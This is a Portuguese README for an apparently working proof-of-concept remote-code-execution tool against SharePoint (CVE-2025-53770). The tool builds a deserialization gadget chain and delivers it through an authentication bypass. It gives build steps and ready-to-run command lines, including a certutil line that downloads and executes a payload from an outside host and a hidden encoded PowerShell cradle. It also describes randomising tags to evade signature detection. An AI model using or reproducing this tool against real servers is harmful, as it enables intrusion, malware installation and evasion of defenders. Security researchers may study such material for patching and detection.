OurSharePoint — CVE-2025-53770 PoC

Ferramenta RCE autossuficiente para SharePoint em um único binário. Gera uma cadeia de gadgets TypeConfuseDelegate como bytes brutos MS-NRBF (sem ysoserial.exe), encapsula em uma carga útil de desserialização DataSet e entrega via HTTP usando a bypass de autenticação — tudo em um único disparo.

Cadeia de Exploração

Todo o fluxo binário (tanto o wrapper DataSet externo quanto o gadget TypeConfuseDelegate interno) é construído como registros MS-NRBF brutos — nenhuma serialização em tempo de execução .NET é usada. Isso corresponde ao formato produzido pelo módulo Metasploit byte a byte.

Compilar

Requer .NET Framework 4.8 SDK (Visual Studio 2022 ou Build Tools autônomo):

& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release

Saída: OurSharePoint\bin\Release\OurSharePoint.exe (arquivo único, sem dependências)

Uso

Disparo único: preparar e executar

OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com

Execução simples de comando

OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com

Cradle PowerShell

OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com

Apenas reconhecimento (sem carga útil)

OurSharePoint.exe --target=https://sp.corp.com --check

Compilar arquivos de carga útil offline

OurSharePoint.exe --cmd="calc.exe" --out=exploit

Com proxy (Burp)

OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080

Legado: carga útil externa do ysoserial.exe

ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com

Opções

Arquivos de Saída

Quando --out é usado, a ferramenta escreve:

Versões Afetadas

Notas de Implementação

• Sem serialização em tempo de execução — Tanto o wrapper DataSet quanto o gadget TypeConfuseDelegate são escritos como registros binários MS-NRBF brutos usando BinaryWriter. Isso evita diferenças entre a saída da serialização em tempo de execução .NET e o que o desserializador alvo espera.
• Estruturação LosFormatter — O gadget interno é encapsulado com bytes de cabeçalho ObjectStateFormatter (0xFF 0x01 0x32 + comprimento de 7 bits) em vez de usar LosFormatter.Serialize().
• Binário único — Nenhuma ferramenta externa, DLL ou script Python é necessário. O .exe é totalmente autossuficiente.
• Aleatorização — Prefixos de tags XML e nomes de elementos DataSet são aleatorizados a cada execução para evitar detecção por assinatura.

Referências

• Eye Security — SharePoint Sob Cerco
• Metasploit PR #20409 — sharepoint_toolpane_rce
• Especificação MS-NRBF
• pwntester/ysoserial.net — TypeConfuseDelegate